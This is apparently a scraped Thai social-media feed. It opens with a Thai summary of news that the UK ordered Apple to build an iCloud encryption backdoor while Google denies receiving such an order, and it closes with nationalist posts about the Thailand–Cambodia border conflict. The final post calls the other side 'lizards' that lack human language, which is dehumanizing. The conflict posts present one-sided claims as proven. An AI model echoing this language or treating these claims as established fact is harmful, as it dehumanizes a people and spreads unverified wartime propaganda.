    กฎหมาย TCN ห้ามบริษัทเปิดเผยว่าตนได้รับคำสั่ง ทำให้ผู้ใช้ไม่รู้ว่าข้อมูลตนถูกเข้าถึงหรือไม่
    ขาดความโปร่งใสในการคุ้มครองข้อมูล
    ผู้ใช้ไม่สามารถตรวจสอบหรือป้องกันตัวเองได้

    การยกเลิก ADP ใน UK ทำให้ผู้ใช้สูญเสียการปกป้องข้อมูลขั้นสูง
    แม้จะใช้ VPN ก็ไม่สามารถทดแทนการเข้ารหัสแบบ end-to-end ได้
    เสี่ยงต่อการถูกเข้าถึงข้อมูลโดยหน่วยงานรัฐหรือบุคคลที่สาม

    การเลือกเป้าหมายเฉพาะเจาะจงอาจสะท้อนถึงการเมืองเบื้องหลังคำสั่ง TCN
    Google อาจรอดเพราะเหตุผลทางการค้า การเมือง หรือการเจรจา
    สร้างความไม่เท่าเทียมในการคุ้มครองผู้ใช้ระหว่างบริษัทต่าง ๆ

    https://www.techspot.com/news/108870-google-never-received-uk-demand-encryption-backdoor-unlike.html
    🧠 เรื่องเล่าจากโลกเข้ารหัส: เมื่อ Apple ถูกบังคับให้เปิดประตูหลัง แต่ Google ยังปลอดภัย ต้นปี 2025 รัฐบาลสหราชอาณาจักรได้ออกคำสั่งลับที่เรียกว่า “Technical Capability Notice” (TCN) ภายใต้กฎหมาย Investigatory Powers Act ปี 2016 เพื่อให้ Apple สร้างช่องทางให้เจ้าหน้าที่เข้าถึงข้อมูลที่ถูกเข้ารหัสใน iCloud โดยเฉพาะฟีเจอร์ Advanced Data Protection (ADP) ที่แม้แต่ Apple เองก็ไม่สามารถเข้าถึงได้ Apple ตัดสินใจยกเลิก ADP สำหรับผู้ใช้ใหม่ในสหราชอาณาจักร และให้ผู้ใช้เดิมปิดฟีเจอร์นี้เองภายในช่วงเวลาผ่อนผัน พร้อมยื่นอุทธรณ์คำสั่งต่อศาลพิเศษด้านการสอดแนม (Investigatory Powers Tribunal) ในขณะเดียวกัน Google ซึ่งให้บริการเข้ารหัสแบบ end-to-end ในหลายผลิตภัณฑ์ เช่น Android backups กลับออกมายืนยันว่า “ไม่เคยได้รับคำสั่ง TCN” และ “ไม่เคยสร้างช่องโหว่หรือ backdoor ใด ๆ” แม้ก่อนหน้านี้จะปฏิเสธตอบคำถามจากวุฒิสมาชิกสหรัฐฯ Ron Wyden การที่ Google ไม่ถูกแตะต้อง ทำให้หลายฝ่ายตั้งคำถามว่า คำสั่งของ UK อาจไม่ได้ครอบคลุมทุกบริษัท หรืออาจมีการเลือกเป้าหมายอย่างเฉพาะเจาะจง ✅ Apple ถูกสั่งให้สร้าง backdoor ในระบบเข้ารหัสของ iCloud ➡️ คำสั่งออกโดย UK Home Office ผ่าน Technical Capability Notice (TCN) ➡️ ส่งผลให้ Apple ยกเลิกฟีเจอร์ Advanced Data Protection (ADP) ใน UK ✅ Google ยืนยันว่าไม่เคยได้รับคำสั่ง TCN จากรัฐบาล UK ➡️ Karl Ryan โฆษกของ Google ระบุว่า “เราไม่เคยสร้างช่องโหว่ใด ๆ” ➡️ “ถ้าเราบอกว่าระบบเข้ารหัสแบบ end-to-end ก็หมายความว่าไม่มีใครเข้าถึงได้ แม้แต่เราเอง” ✅ ภายใต้กฎหมาย UK บริษัทที่ได้รับคำสั่ง TCN ห้ามเปิดเผยว่าตนได้รับคำสั่งนั้น ➡️ ทำให้เกิดความคลุมเครือว่าบริษัทใดถูกสั่งจริง ➡️ Meta เป็นอีกบริษัทที่ยืนยันว่าไม่เคยได้รับคำสั่ง TCN ✅ Apple ยื่นอุทธรณ์คำสั่งต่อศาลพิเศษ และได้รับการสนับสนุนจาก WhatsApp ➡️ คดีนี้อาจกลายเป็นจุดเปลี่ยนสำคัญของการปกป้องความเป็นส่วนตัว ➡️ มีองค์กรกว่า 200 แห่งร่วมลงชื่อเรียกร้องให้รัฐบาล UK ยกเลิกคำสั่ง ✅ รัฐบาลสหรัฐฯ กดดันให้ UK ยุติคำสั่ง TCN ต่อ Apple ➡️ รองประธานาธิบดี JD Vance และวุฒิสมาชิก Wyden แสดงความกังวล ➡️ อ้างว่าเป็นการละเมิดสนธิสัญญา Cloud Act ระหว่างสหรัฐฯ กับ UK ‼️ การสร้าง backdoor ในระบบเข้ารหัสอาจเปิดช่องให้เกิดการละเมิดความเป็นส่วนตัวทั่วโลก ⛔ ผู้ใช้ทั่วโลกอาจถูกเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต ⛔ ช่องโหว่ที่สร้างโดยรัฐอาจถูกแฮกเกอร์ใช้ในอนาคต ‼️ กฎหมาย TCN ห้ามบริษัทเปิดเผยว่าตนได้รับคำสั่ง ทำให้ผู้ใช้ไม่รู้ว่าข้อมูลตนถูกเข้าถึงหรือไม่ ⛔ ขาดความโปร่งใสในการคุ้มครองข้อมูล ⛔ ผู้ใช้ไม่สามารถตรวจสอบหรือป้องกันตัวเองได้ ‼️ การยกเลิก ADP ใน UK ทำให้ผู้ใช้สูญเสียการปกป้องข้อมูลขั้นสูง ⛔ แม้จะใช้ VPN ก็ไม่สามารถทดแทนการเข้ารหัสแบบ end-to-end ได้ ⛔ เสี่ยงต่อการถูกเข้าถึงข้อมูลโดยหน่วยงานรัฐหรือบุคคลที่สาม ‼️ การเลือกเป้าหมายเฉพาะเจาะจงอาจสะท้อนถึงการเมืองเบื้องหลังคำสั่ง TCN ⛔ Google อาจรอดเพราะเหตุผลทางการค้า การเมือง หรือการเจรจา ⛔ สร้างความไม่เท่าเทียมในการคุ้มครองผู้ใช้ระหว่างบริษัทต่าง ๆ https://www.techspot.com/news/108870-google-never-received-uk-demand-encryption-backdoor-unlike.html
    WWW.TECHSPOT.COM
    Google says it never received a UK demand for encryption backdoor, unlike Apple
    In a letter to the Director of National Intelligence, Tulsi Gabbard, Senator Ron Wyden, who serves on the Senate Intelligence Committee, wrote about the UK's "reported secret...
    0 ความคิดเห็น 0 การแบ่งปัน 138 มุมมอง 0 รีวิว
  • เปิดแผนลึก สหรัฐฯ จุ้นจ้านเพราะ…? [31/7/68]
    Deep dive: Why is the U.S. meddling in the conflict? Hidden agenda revealed.

    #TruthFromThailand #USInvolved #Geopolitics #CambodiaNoCeasefire #Hunsenfiredfirst #Thaitimes #News1 #Shorts
    เปิดแผนลึก สหรัฐฯ จุ้นจ้านเพราะ…? [31/7/68] Deep dive: Why is the U.S. meddling in the conflict? Hidden agenda revealed. #TruthFromThailand #USInvolved #Geopolitics #CambodiaNoCeasefire #Hunsenfiredfirst #Thaitimes #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 104 มุมมอง 0 0 รีวิว
  • ประกาศให้โลกรู้ คลิปหลักฐานเขมรโกหกโลก ว่าไทยใช้เคมีในการรบ
    Announce to the world: Evidence of Cambodia’s lies — accusing Thailand of using chemical weapons.
    [31/7/68]

    #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #scambodia #ข่าวด่วนชายแดน #หลักฐานชัด #กัมพูชาโกหก #สงครามข้อมูล #FakeNews #Thaitimes #News1 #Shorts
    ประกาศให้โลกรู้ คลิปหลักฐานเขมรโกหกโลก ว่าไทยใช้เคมีในการรบ Announce to the world: Evidence of Cambodia’s lies — accusing Thailand of using chemical weapons. [31/7/68] #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #scambodia #ข่าวด่วนชายแดน #หลักฐานชัด #กัมพูชาโกหก #สงครามข้อมูล #FakeNews #Thaitimes #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 100 มุมมอง 0 0 รีวิว
  • Dear Sir, We did expel the lizards that have never known human language. So, they don't understand where their places and of course, not our home. Then if you are human you might understand the relationship between humans different from instructions the lizards to remember where their places. https://youtu.be/5oOzGmsWHQo?si=04q52djypkaKo-bT
    Dear Sir, We did expel the lizards that have never known human language. So, they don't understand where their places and of course, not our home. Then if you are human you might understand the relationship between humans different from instructions the lizards to remember where their places. https://youtu.be/5oOzGmsWHQo?si=04q52djypkaKo-bT
    0 ความคิดเห็น 0 การแบ่งปัน 91 มุมมอง 0 รีวิว
Pages Boosts